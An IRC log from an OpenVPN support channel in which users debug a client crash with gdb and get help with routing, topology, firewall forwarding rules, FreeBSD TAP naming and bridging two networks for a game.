15:32 < MacGyver> Uh.
15:32 < jzaw> but i have it in the server.conf the other end
15:32 < MacGyver> I take it you're running a debug build then?
15:32 < jzaw> trunk
15:32 < jzaw> but ive not specifically enabled debug
15:33  * MacGyver shows his ineptitude in C:
15:33 < MacGyver> Shouldn't assertions be compiled out then?
15:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
15:33  * jzaw shrugs ... am no coder :(
15:34 <@plaisthos> MacGyver: your crash is strange
15:34 <@plaisthos> could you do the gdb command p sock->info.lsa?
15:35 <@plaisthos> I want to know why it actually crashes
15:35 < MacGyver> One moment, gotta get that machine out of standby.
15:35 < MacGyver> Wait, didn't I already do that?
15:35 < MacGyver> Yeah.
15:35 < MacGyver> That was  $1 = (struct link_socket_addr *) 0xbfd8aedc
15:36 <@plaisthos> hm
15:36 <@plaisthos> so that is defined
15:37 <@plaisthos> MacGyver: platform? Linux?
15:37 <@plaisthos> MacGyver: and p ai?
15:37 < MacGyver> Yeah. Arch. 3.8.4-1-ARCH #1 SMP PREEMPT Thu Mar 21 07:58:46 CET 2013 i686 GNU/Linux
15:38 < MacGyver> $2 = (struct addrinfo *) 0x96218d8
15:39 < MacGyver> This specific instance of openvpn was built from the arch build system, with the only change being that I enabled debug symbols in compilation and disabled stripping.
15:39 < MacGyver> I've seen the bug happen on the stock arch binary, which is why I did that in the first place.
15:39 < MacGyver> OpenVPN version 2.3.0
15:40 < MacGyver> I should mention that the OpenVPN on the other side is 2.2.1 (Debian), but I don't think that matters.
15:43 <@plaisthos> nah should not matter
15:43 <@plaisthos> interesting
15:43 < MacGyver> That's what I thought.
15:44  * plaisthos tries still to understand why it crashes at all
15:44 < MacGyver> Did you get the steps to reproduce?
15:44 < MacGyver> Well, honestly, I can't reproduce it stably myself, so you probably won't either, but still, did you get the sequence of events that seems to trigger this?
15:44 <@plaisthos> the part with C-c while resolving, yeah
15:45 < jzaw> man udp tunnel over europe at the mo is way too lossy
15:45 <@plaisthos> but I still figure out why it crashes at that line
15:45 <@plaisthos> does p sock->info.lsa->remote.addr.in6  work?
15:45 < jzaw> udp must be droppping everywhere (esp in PL )
15:45 < MacGyver> Hmm.
15:45 < jzaw> my ssh's keep locking
15:45 < MacGyver> Is it okay to paste two lines?
15:45 <@plaisthos> sure
15:45 < jzaw> hehe
15:45 < MacGyver> $3 = {sin6_family = 2, sin6_port = 0, sin6_flowinfo = 0, sin6_addr = {__in6_u = {__u6_addr8 = '\000' <repeats 15 times>,
15:45 < MacGyver>       __u6_addr16 = {0, 0, 0, 0, 0, 0, 0, 0}, __u6_addr32 = {0, 0, 0, 0}}}, sin6_scope_id = 0}
15:46 <@plaisthos> hm :/
15:46 < jzaw> tbh i always thing its funny to resort to pastebin for 3 even 4 lines if its quiet and doesnt disrupt
15:46 < MacGyver> So do I - but I've had channel operators take a different stance on that ;)
15:46 < jzaw> ive switched back to a tcp tunnel and everything's smooth
15:47 -!- mode/#openvpn [-o plaisthos] by plaisthos
15:47 < plaisthos> ;)
15:47 < jzaw> unless it was that tcp-nodelay setting that messed with the udp tunnel?
15:47 < plaisthos> jzaw: tcp-nodelay is a macro for the server
15:47 < jzaw> i did see the expansion explained ... do you have a link ?
15:48 < jzaw> ah found it
15:48 < jzaw> np
15:49 -!- brute11k [~brute@89.249.235.218] has quit [Quit: Leaving.]
15:49 < skomorokh> Network namespaces are a prettier way of doing (!)routebyapp: ip netns exec
15:49 < jzaw> ill try udp tunnel without tcp-nodelay
15:51 < plaisthos> MacGyver: I give up. I don't understand how that statement can crash openvpn even though all variables are vaild
15:51 < MacGyver> plaisthos: Ah, great, one of *those* bugs.
15:51 < MacGyver> :)
15:52 < plaisthos> MacGyver: yeah unfortunatly
15:52 < MacGyver> I'll file a full bug tonight or tomorrow.
15:52 < MacGyver> It seems to be a borderline case anyway.
15:53 < MacGyver> And I'll post a full BT to got with that, instead of the normal one.
15:53 < plaisthos> MacGyver: that bug will probably end up in my hands ;)
15:53 < MacGyver> Hmm.
15:54 < MacGyver> Could it be caused by the plugin_down_root.so?
15:54 < MacGyver> I'm now thinking of specific things about my setup.
15:55 < MacGyver> I'm going to give openvpn its own user soon, but until then it drops privs and uses plugin_down_root to fix DNS-stuff.
15:55 < MacGyver> But that's a forked process, and that's not the process that's crashing.
15:55 < MacGyver> Because then the dump would be UID 0.
15:57 < plaisthos> I have no idea why it crashes at all to be honest
15:58 < MacGyver> Makes it all the more worrying, no?
15:59 < MacGyver> I'm willing to hand over the coredump - after I've changed some passwords and revoked this certificate and stuff - if you want to dig deeper.
15:59 < MacGyver> Oh, by the way...
15:59 < MacGyver> Optimizations on this build are...
15:59 < MacGyver> -O2.
15:59 < MacGyver> Not -O1.
16:00 < MacGyver> That's not a potential problem with seeing the wrong call or something?
16:03 < plaisthos> MacGyver: could be
16:04 < plaisthos> that the debugger does not really show the real line that causes the crashing because of reorder/optimization
16:04 < plaisthos> you would need to read the assembler to be sure
16:04 < MacGyver> Or recompile -O1 and hope the bug is not introduced by optimizations.
16:05 < pekster> Optimization levels do change the bytecode based on higher-level assumptions about the C code. However, I've "usually" had fine results building with something like CFLAGS="-O2 -ggdb -fno-omit-frame" and then --enable-debug in openvpn's ./configure
16:06 < pekster> Note that with GCC 4.6, the default is -fomit-frame-pointer
16:06 < pekster> Oh, my keyboard is acting up, that should have read -fno-omit-frame-pointer (brb after a reboot)
16:11 < keldwud> hmm, server.conf file doesn't exist on pfsense machine?
16:12 < keldwud> is it called something else?
16:13 < keldwud> http://forum.pfsense.org/index.php?topic=29374.0;prev_next=prev
16:13 <@vpnHelper> Title: How to view the OVPN server.conf via shell? (at forum.pfsense.org)
16:13 < keldwud> maybe that answers my question
16:14 < keldwud> ok cool :) that path was what I needed
16:14 -!- nlopez [~quassel@198.211.102.196] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
16:14 < plaisthos> MacGyver: or even better as -O0
16:14 < keldwud> so if I have multiple conf files...
16:15 < keldwud> how do I tell which conf is being used?
16:16 < MacGyver> plaisthos: It said somewhere that -O0 was discouraged because it uses non-optimized versions of library calls which might significantly alter timing behaviour.
16:16 < MacGyver> Or something like that.
16:16 < jzaw> keldwud, no idea about pfsense but openwrt runs as many instances as it finds /etc/openvpn/*.conf files
16:16 -!- d33tah [~d33tah@212.191.72.35] has joined #openvpn
16:16 < keldwud> jzaw: yeah, that's where I found it. /var/etc/openvpn
16:16 < d33tah> hi fellows
16:16 < jzaw> unless you run openvpn /etc/openvpn/specific.conf
16:17 < keldwud> what did you guys find out about tcp vs udp with that flag, from the earlier discussion?
16:17 < d33tah> i've set up a vpn server on my router, i can connect to it, but can't ping my router back from inside of it. what should I check?
16:18 < pekster> d33tah: First your logs on both sides to verify it connected without errors, then your firewall
16:18 < keldwud> so I can probably assume that both of the .conf files I found are being run
16:18 < d33tah> http://wklej.org/hash/59b0a5f3b4e/
16:18 <@vpnHelper> Title: Wklejka #996131 – Wklej.org (at wklej.org)
16:18 < plaisthos> MacGyver: where?!
16:18 < d33tah> pekster: what exactly to look out for in the firewall? the "normal" connections work correctly.
16:19 < plaisthos> All debug build I know are using -O0
16:19 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
16:19 < pekster> d33tah: That you're not dropping the packet? A ping to your VPN endpoint is a pretty basisc level of connectivity checking. If it doesn't work, check firewalls and use tcpdump to see what hop isn't replying or accepting the reply
16:21 < pekster> d33tah: What are you trying to ping? The server will be at 192.168.66.1 in your setup, not the opposing PtP in the /30. You're also better off using --topology subnet
16:21 < pekster> !/30
16:21 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
16:22 < d33tah> pekster: i changed netmask to /24 on both ends, enabled broadcast replies on one end and did ping -b 192.168.66.0
16:22 < pekster> Don't do that
16:22 < d33tah> i reverted it, tried to ping 192.168.66.1, no reply either
16:23 < d33tah> "route" says the default gateway's for some reason 192.168.66.9
16:23 < pekster> Right. Becuase you're using net30 topology
16:23 < pekster> Use subnet instead, or live with the super-old backwards-compatible net30 configuration where each endpoint gets a virtual /30
16:23 < d33tah> hm
16:24 < MacGyver> plaisthos: Arch wiki: https://wiki.archlinux.org/index.php/Debug_-_Getting_Traces
16:24 < pekster> It's completely normal to get a PtP setup between .8 <-> .9 in net30; that's by design. See --topology in the manpage
16:24 <@vpnHelper> Title: Debug - Getting Traces - ArchWiki (at wiki.archlinux.org)
16:24 < keldwud> so I could just add fragment 1200 in my conf files directly and then restart my openvpn service, right?
16:24 < MacGyver> plaisthos: See the "Note" under "One package settings only" under "Compilation settings".
16:24 < d33tah> i guess i set it long ago so my grandma's computer with windows xp could connect. on the other hand, it's not necessary anymore, so i'll try a different configuration then
16:24 < d33tah> thanks for a tip, pekster ;)
16:24 < pekster> MacGyver: Honestly, if you're adding in -ggdb it shouldn't™ matter if you're using -O2. If line numbers don't match, try -O0
16:25 < MacGyver> pekster: I only added -g.
16:25 < MacGyver> pekster: Not -ggdb.
16:25 < pekster> d33tah: It's not the reason your having ping/firewall issues, but it's needlessly complicating things and making your setup hard to understand. That's bad.
16:25 < d33tah> hm
16:26 < jzaw> keldwud, cant explain it now ... but ive been running a tcp tunnel and its been fine (without tcp-nodelay was ok with tcp-nodelay maybe marginally better)
16:26 < jzaw> im about 2,000km from the server across europe
16:26 < pekster> MacGyver: Also probably fine. I just get in the habit of using the most verbose debug builds I can when I'm trying to trace down into ;)
16:26 < jzaw> and Polish networks are just about the fsck'ing worst ive ever experienced grrrr
16:26 < jzaw> so tcp suited
16:27 < jzaw> switched to udp just now
16:27 < jzaw> with and without tcp-nodelay ...
16:27 < jzaw> blammo my ssh logins to various things at the server end freeze
16:27 < jzaw> relog in
16:27 < jzaw> they freeze again in a few secs
16:27 < jzaw> back to tcp
16:27 < jzaw> alls smooth
16:27 < keldwud> so we couldn't test it from your environment?
16:27 < keldwud> inconclusive?
16:28 < keldwud> since both udp with or without the flag didn't work?
16:28 < jzaw> repeate switch to udp a few times ... same repeatable effect
16:28 < jzaw> tcp works
16:28 < jzaw> cant say i see  a diff with tcp + tcp-nodelay
16:28 < keldwud> does udp work for you without the flag?
16:28 < jzaw> nope thats also causing my ssh logins to freeze
16:29 < jzaw> i cant debug that right now
16:29 < keldwud> I see, so we can't tell from your environment whether the flag has any effect on udp or not
16:29 < jzaw> is there any spamhaus ddos going on still?
16:29 < keldwud> I dunno
16:29 < rob0> I think the Cyberbunker idiots have been removed from the Internet.
16:29 < keldwud> lol
16:29 < jzaw> yesterday my tunnel suffered much latency across europe
16:30 < keldwud> we don't tunnel through europe, though
16:30 < keldwud> so I wasn't thinking it would affect our bandwidth
16:30 < jzaw> well i also sip across the tun
16:30 < rob0> Note that spamhaus.org HTTP and DNS work fine, Cyberbunker.com and their various domains are gone.
16:30 < jzaw> and g722 is very sensitive to losses which is why i started to use a tcp tunnel
16:31 < jzaw> hehe rob0 cool
16:31 < keldwud> no, *zero cool
16:31 < keldwud> oh I get it :)
16:31 < keldwud> rob zero cool
16:32 < keldwud> oh, that wasn't an intentional connection on your part, jzaw, n/m
16:32 < keldwud> you were just telling him cool, and then I jumped to the zero cool reference
16:32 < jzaw> and im the one after two drams of whisky !
16:32 < keldwud> because proximity of the 0 and the cool :)
16:32 < jzaw> :P
16:33 < keldwud> I read too many books apparently :) and watch too many "hacker" movies
16:34 < d33tah> pekster: got it. it was firewall :D
16:35 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:39 < jzaw> hmm not seeing any udp pkt loss on mtr
16:41 < pekster> A better test is to use a ping tool (ping, mtr, whatever) to send packets at your PMTU across the inside link, set with DF enabled
16:42 < rob0> That's me in a nutshell, zero cool!
16:45 < jzaw> ta pekster will o
16:45 < jzaw> do
17:11 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
17:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:14 -!- jimmyz2 [d055d3c4@gateway/web/cgi-irc/kiwiirc.com/ip.208.85.211.196] has joined #openvpn
17:19 -!- yass [~yass@ney92-1-82-66-111-4.fbx.proxad.net] has joined #openvpn
17:20 -!- deever [~deever@78.46.68.172] has joined #openvpn
17:20 < deever> hi
17:23 < deever> openvpn claims "Cannot allocate TUN/TAP dev dynamically", although i pass the --dev-type tap option
17:23 < deever> what could be the issue?
17:25 < yass> Hi. English is not my native language but i'll probably be ok. I'm coming here hoping for help with a small issue, probably firewall related. I have an up and running openvpn server on CentOS. 5 clients connecting ok through multiple places/countries. I now want to make a client redirecting all his traffic through VPN, tried by pushing the redirect-gateway option in his ccd file. He seems to connect ok, ab
17:25 < yass> le to reach the vpn subnet but not internet. I pushed DNS options also, and made sure ip forwarding and nat masquerading are set on server. Could someone help please ? Thank you very much
17:25 < yass> !configs
17:25 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:26 < pekster> yass: We have a flowchart to help out with redirecting traffic like that:
17:26 < pekster> !redirect
17:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:26 <@vpnHelper> http://ircpimps.org/redirect.png
17:26 <@krzee> yass, instead of pushing it in a ccd entry, you could also simply put the option in the client config
17:26 < yass> pekster, thanks. Looking into it
17:27 < yass> krzee pushing the option does not seem to be the problem
17:28 < pekster> deever: Can you use a pastebin site (gist.github.com or similar) to upload your config (comments stripped please, see the !configs output above for some grep commands to do that) and your logfile at 'verb 4' ?
17:28 < yass> pekster, if I read the flowchart correctly, ip forwarding must also be enabled on the client side ?
17:28 < pekster> yass: Nope, only the server
17:30 < deever> pekster: no config so far, i'm just running it on the cmdline like so: openvpn --dev vpn --dev-type tap
17:30 < pekster> yass: If you've verified the client is getting the redirect-gateway option, and you can ping the VPN IP of your server but not a well-known external IP like 8.8.8.8 (google's DNS) then you should check your firewall. Chances are it's not allowing the forwarded traffic or the return reply from the external target
17:33 < yass> yes pekster, i think this is a firewall issue on the server side. Unfortunately, i'm not that confortable with iptables. Here's what the nat part look like : http://pastebin.com/c1dQBARF. As you can see, it seems to receive packets, I confirmed it because each time time a try a ping or nslookup on the client, I can see the number of packets increase on iptables
17:33 < yass> sorry for the link
17:34 < pekster> yass: Why do you have the same rule 5 times over? You also need to allow the outbound/reply traffic. Please use 'iptables-save -c' and paste that
17:34 < yass> ok
17:34 <@krzee> 192.168.200.0/24 is the vpn subnet (server 192.168.200.0 255.255.255.0 is in your server config?
17:34 < yass> yes
17:35 < pekster> deever: Running as root? And the 'vpn' interface doesn't currently exist?
17:37 < deever> pekster: yes
17:37 < yass> how do I correctly format a link on irc chat ?
17:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:38 < pekster> yass: Your old link was fine. Maybe put the period after the URL (use a space, or just no trailing period character)
17:38 < yass> http://pastebin.com/TqMiU0YG
17:38 < yass> perfect
17:38 < yass> sorry i'm not used to irc
17:39 <@krzee> you're doing well =]
17:40 < yass> is it possible that it comes from the forward chain ? because I reject pretty much everything that is not coming from tun there
17:40 < pekster> yass: Your forward chain is allowing the traffic from your client, but not the return traffic. You need to allow replies to existing traffic. You need a rule before your REJECT rule (shown on line 26) to accept state
17:40 < pekster> yass: Right. Use the stateful tracking features of netfilter. Use a rule like this before you REJECT:
17:40 < pekster> -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
17:40 < yass> ok I see, thank you very very much
17:41 < pekster> That tells the kernel to allow traffic that is related or already extablished to connections you've let out before
17:41 < pekster> Without that, the firewall has no way of knowing that the return traffic is legit
17:41 < yass> do I have to do something special to add it BEFORE the reject ?
17:41 < yass> delete the reject and then add both ?
17:42 < pekster> Depends how you're editing your firewall rules. The "best" way is to edit your rule savefile and load it via 'iptables-restore', but you can see the -I flag to iptables if you prefer to do it interactively at a prompt
17:42 < jeev> if i'm using a 10.0.0.0/24 ip on a remote router and it is openvpn'ing into a public ip and it needs to access the 192.168.1.0/24 block, do i need to masquerade? i see my pings coming in as 10.x.x.x on the WAN, the LAN sees it as the openvpn IP (192.168.1.1) but WAN sends it back without masq
17:43 < deever> pekster: are you running openvpn under freebsd too?
17:43 <@krzee> deever, i am? why?
17:43 < pekster> deever: Nope; I have a VM though; let me verify that works as expected there
17:47 < pekster> deever: It seems fbsd doesn't like the name. It works when you remove the explicit interface name, or give it one named 'tap0'. Or possibly create it outside openvpn first, then use that
17:48 < pekster> OpenVPN also appears to lack the --mktun feature on fbsd, so I suspect it's a kernel thing to keep the name matching the device syntax the rest of the kernel expects
17:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
17:51 <@krzee> freebsd doesn't have mktun cause it dynamically makes the device
17:52 <@krzee> easiest is to just use tap# but i think you can rename with dev-node used as well
17:54 < pekster> You can't use dev-node; it tries to open "TUN/TAP dev vpn" which naturally doesn't exist. It won't eat /dev/vpn either.
17:54 < yass> pekster it's working very well now !!! thank you very much !
17:54 < pekster> deever: Just let it name the device. I don't think the fbsd kernel wants to let you use arbitrary names like that for interfaces
17:54 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has left #openvpn []
17:55 <@krzee> hmm ya not for tap at least
17:55 <@krzee> i don't really use tap, never tried
17:58 < deever> krzee: nwm
17:58 < deever> pekster: i'll try to rename the device after the start of openvpn
17:58 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
17:59 < xtz> hey every1
18:00 <@krzee> deever, just s/tap/vpn/ in your head
18:02 < xtz> since 2day Im experiencing a weird issue with one android connecting to my server
18:02 < pekster> Well, role-specific device names are handy under Linux, I have to admit. It bets the heck out of the new "biosdevname" for network interfaces that the FreeDesktop folks thought up
18:02 < xtz> it was okay before
18:02 < xtz> nothing changed on server or client config
18:02 < pekster> krzee: Unless you like f.eg, enp0s18 (the "new name" for what used to be eth0 on one of my servers.) if0 or lan0 or such makes a lot more sense, and I've renamed it accordingly
18:02 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
18:02 < hrenovo> hi folks.
18:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:03 < hrenovo> I come back with my old question about windows firewall
18:03 <@krzee> pekster, nah but naming it vpn wouldn't be much more useful to me than naming it tap0
18:03 <@krzee> so in general i agree, in this case, "meh"
18:04 < pekster> Sure, I get that. It's just a nice thing to support, from a kernel standpoint. It's not really the kernel's business to tell you what to name your devices
18:05 < xtz> I get the initial packet
18:06 < xtz> and then tls negotiation failed to occur within 60 secs
18:07 <@krzee> xtz, look at the other log too?
18:09 < xtz> I cant, its on my girlfriends android device and shes in China
18:09 < hrenovo> https://forums.openvpn.net/topic12494.html
18:09 <@vpnHelper> Title: OpenVPN Support Forum Windows 7 Firewall settings for File Sharing on VPN Adapter : Server Administration (at forums.openvpn.net)
18:09 < xtz> Im starting to think those folks are blocking her connection
18:10 < hrenovo> this is my forum post that no one is answering and I am out of ideas now
18:10 < hrenovo> therefore I come here again with the same question
18:10 < hrenovo> thanks for any help in advance
18:10 < pekster> xtz: Very likely. Your best bet is to obfuscate the traffic by using either !obfsproxy, or using symmetric keys via --static. Either way, use a non-standard port number
18:11 < xtz> whats highest verbosity level server-side?
18:11 < xtz> 11?
18:11 <@krzee> ya i heard china started that stuff
18:11 < pekster> Don't use anything higher than 5 unless you are a developer
18:12 < xtz> I needed vpn cause u cannot get damned android apps through a proxy on an older phone (which doesnt support newr android versions)
18:12 < xtz> otherwise ssh tunnel was doin a great job for pages
18:12 < jeev> i have 192.168.0.66 which is right now the IP of the DD-WRT openvpn client, dd-wrt client ip is 10.50.100.10, server is 10.50.100.9. i am trying to ping 192.168.1.3 and i am seeing in tcpdump, 10.50.100.10 attempting to ping 192.168.1.3, it's passed through from tun10 to eth0, eth0 sees the ping coming from 192.168.1.253 (openvpn server) and 192.168.1.3 is replying to 192.168.1.253 but
18:12 < jeev> 192.168.1.253 is sending the ping reply back through the wan port (not tun10) so it's just dying. any suggestions ?
18:13 < xtz> Im thinking of doin openvpn-over-ssh tunnel now?
18:13 < xtz> its twisted and evil, but so are the chinese guys :p
18:14 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
18:15 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has quit [Quit: leaving]
18:23 < plaisthos> xtz: chinese fw is blocking openvpn
18:25 < plaisthos> MacGyver: still. For real debugging -O1 still optimises too much
18:25 < njbair> I'm having trouble setting up OpenVPN for Windows to read a cert from the Windows Certificate Store. Has anyone managed to pull this off?
18:26 < plaisthos> also a stack trace is a different story (function level) than deubbing a function (line level)
18:27 < MacGyver> plaisthos: Okay. I'll recompile with -O0, hope my poor old laptop will still run it at decent speed, and hope that the bug manifests.
18:36 < plaisthos> MacGyver: that would be great
18:36 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:37 < plaisthos> since the cpu hungry is the crypto stuff which is in an external library (still optimized at with -O2 or similar) there should not be such much speed penality
18:39 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
18:43 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
18:51 -!- raidz is now known as raidz_away
18:53 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:58 -!- jeev [~j@unaffiliated/jeev] has left #openvpn []
19:07 < yass> Thanks to pekster, I was able to properly configure my ovpn server to forward all traffic from clients through the vpn, but now i'm in a tricky situation for which I could use another piece of advice
19:08 < yass> I like to play this old game (age of mythology) with a friend. He is a client of my vpn conf
19:10 < yass> problem is with this old game, when you try to play multiplayer, it only picks up the lan interface. There is a trick on some forums that consists of shutting down your lan interface, open the game so it only picks up the tun/tap interface and then go back and turn lan interface on so we vpn could reconnect and then we can play...
19:10 < yass> it's kin of a pain in the a##
19:11 < yass> so it appears that the game picks up the vpn interface without tricks if the vpn is configured with redirecting all traffic
19:11 < Poster> are you using Windows?
19:12 < yass> this is the other problem... I am using windows, but my friend had the game on fedora under wine... but it works great !
19:12 < Poster> you can use Windows to create a network bridge between your existing LAN adapter and OpenVPN adapter
19:12 < yass> anyway the behaviour i'm talking about is under windows...
19:13 < yass> when redirect is on, I believe the default route have a gateway to the vpn server. So basically redirecting all traffic means changing default route (0.0.0.0), right ?
19:13 < Poster> is your game IP based?
19:14 < yass> it is ok for me, but I don't want my friend to have all his traffic redirecting through my server, as he can download potential forbidden things...
19:14 < yass> Poster, yes
19:15 < Poster> does it use broadcast addresses to find peers or something?
19:15 < yass> Poster, no. You can either host or join a game by entering an IP
19:16 < yass> Here is my question : do you think it is possible to leave the default route having gateway to my vpn server, but not let my friend redirect his internet traffic through my server
19:16 < yass> ?
19:18 < Poster> ok I don't think you need to worry about all that
19:18 < Poster> it sounds like a simple /30 link between your respective systems would do it
19:18 < yass> ok. What's a /30 link ?
19:19 < Poster> it would be something like 10.0.0.2 <-> 10.0.0.1
19:19 < Poster> 10.0.0.0 being network and 10.0.0.3 being broadcast
19:19 < yass> oh ok
19:19 < rob0> A CIDR /30 is four IP addresses, the smallest complete IP network.
19:20 < yass> but the game would still pick up our network interface right ? and not this one ?
19:20 < yass> how could we lure the game for that ?
19:21 < Poster> if you can enter an IP address, you'd add the remote address
19:21 < Poster> something like http://openvpn.net/index.php/open-source/documentation/manuals/65-openvpn-20x-manpage.html#lbAV
19:22 <@vpnHelper> Title: OpenVPN 2.0.x (at openvpn.net)
19:22 < yass> I don't think this could work. When you enter the game, the multiplayer part of it, the game displays your IP. And if it's not in the right network you won't be able to join even if you have the right IP...
19:23 < yass> ok I'll give you an example
19:23 < yass> let's say 192.168.1.1 is my lan interface adress
19:23 < Poster> your other option is to bridge your local area network with the openvpn adapter
19:23 < njbair> Can I tell OpenVPN to use a CA cert from the Windows Certificate Store?
19:23 < Poster> but you're going to run into an IP routing problem
19:23 < yass> 192.168.200.1 is my vpn adress adress, my friend's is 192.168.200.2
19:23 < Poster> njbair: I dont't think directly ; you might be able to export it and then reference it in the configuration
19:24 < njbair> well the CA cert is not private, so I guess distributing a copy with the config is okay
19:24 < yass> if I enter the game and host a party and it displays my IP is 192.168.1.1, my friend would never be able to join, even if he is connected to the vpn
19:24 -!- japamber [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has joined #openvpn
19:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:27 < yass> Poster, I don't think this would be a good a way... But I have an idea of my own, can I expose it to you and you tell me what you think ?
19:31 < Poster> go for it; though I am not sure how you're going to make it work if the game looks for a physical adapter
19:31 < Poster> if you disable your LAN adapter, the VPN connection will not have a path out
19:32 < Poster> the only thing I can think is to create an ethernet bridge, but if you do that on both sides I'd anticipate routing difficulty
19:32 < Poster> you'd need to have the same subnet on both sides and support a bridge between
19:32 < Poster> might be ok if you have your respective gateway addresses on different addresses
19:32 < yass> what if we leave the vpn as is, redirecting all traffic, than AoM when it starts automatically chosses the tun interface. Then on the server side I disable all the ports that are not needed to play the game for this particular ovpn client. That way he won't be able to do anything but play this particular game ?
19:32 < Poster> one on say 192.168.0.1 and the other on 192.168.0.254
19:33 < yass> disable with iptables rules
19:33 < Poster> I really don't know how the game determines the adapter
19:33 < Poster> I don't know that netfilter rules would really get you there
19:33 < yass> let's say I don't forward anything that doesn't come on the udp ports of the game (I have a list of all the ports, thx to microsoft :)
19:34 < Poster> you shouldn't need to forward with a VPN link
19:35 < yass> Me too, I don't know how the game determines it. But when the VPN is redirecting all, the game chooses it automatically. I tried to see if the metrics are of any importance, but it's not. The only thing I see is the default route changing
19:35 < Poster> I would be tempted to try this-
19:35 < yass> I mean when the default route has the vpn server as gateway then it chooses the right interface
19:35 < Poster> Your side:
19:35 < Poster> Router: 192.168.0.1
19:36 < Poster> Your PC: 192.168.0.2
19:36 < Poster> Remote side:
19:36 < Poster> Router: 192.168.0.254
19:36 < Poster> Remote PC: 192.168.0.253
19:36 < Poster> Bridge your Ethernet adapter with your OpenVPN TAP adapter
19:36 < Poster> Bridge the remote Ethernet adapter with the remote OpenVPN TAP Adapter
19:37 < Poster> Establish a bridged OpenVPN link between your side and the remote side
19:37 < Poster> static routing will keep the VPN frames traversing the local router
19:37 < Poster> but then you'll have the same network on both, the important part being ensuring no IP overlap on any devices on either side
19:38 < Poster> you'll probably want to disable DHCP on both sides, or filter it from traversing the VPN link by some other means
19:39 < yass> ok I see it. Problem is that implies many changes, I only have one routed vpn server that is also used by other clients, for other purposes, and I don't know if I can ask the remote part to do changes on his network conf
19:39 < Poster> keep in mind such a link will make all devices on both sides able to talk to eachother, so take precautions about protecting data/devices
19:40 < yass> well... that too...
19:40 < Poster> you can run multiple OpenVPN instances, you just need a unique IP address and/or port and/or protocol
19:40 < Poster> clients on 1194/udp, this on 1194/tcp
19:40 < rob0> keep them both UDP if possible
19:41 < Poster> yeah it'll have less overhead
19:42 < yass> ok
19:43 < yass> I didn't know we could have multiple instance, guess its logic though...
19:43 < Poster> the theoretical limit is fairly high
19:43 < Poster> I don't know about the Windows side, the *n?x flavor could probably do 256 or so
19:43 < MorkBork> last time i looked at openvpn architecture it was single threaded anyway
19:44 < MorkBork> so multiple instances would be the way to go in a larger deployment
19:44 < Poster> I've had 4+ on many instances
19:44 < Poster> for remote management/monitoring/backup/etc
19:44 < Poster> and you don't really need one per connection either, depending on what you're aiming for
19:45 < Poster> a classic client/server model can take dozens of clients on a single instance
19:45 < Poster> it just gets more complicated when you're trying to do LAN bridging or /30 links
19:46 < yass> I can only imagine. I'm pretty new to OpenVPN. I installed a few months ago to let persons use VoIP and web browsing on some contries where there is censorship
19:47 < Poster> yeah it's a great system
19:47 < Poster> I've used it many times to circumvent restrictive connections
19:47 < yass> I have a neat little installation with openvpn routers as clients :)
19:47 < yass> but I didn't go far in its capabilities
19:49 < Poster> well one thing at a time
19:50 < Poster> I originally used it to link two LANs together, as time went on and I learned more I started using it for more and more things
19:50 < yass> yes :) like playing old games with distant friends !
19:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:58 < yass> ok Poster ok I think i'll have a deeper look at what you are proposing. Thank you and I might come back maybe asking for help with the bridging conf :)
20:00 < Poster> http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html
20:00 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
20:01 < pekster> rob0: NB: A PtP is a "complete IP network" and doesn't even require a "/31". 'ip addr add 10.6.5.4/32 peer 172.16.7.8' is a valid "network" of 2 computers (say connected over a direct device link)
20:02 < pekster> A /30 would be the smallest valid Ethernet network with included IP though :)
20:02 < Poster> maybe subnet would be a more approprate label
20:02 < rob0> yes, I know it's valid, but ^^
20:03 < rob0> "smallest possible IP network with a broadcast address" was more to write than "complete"
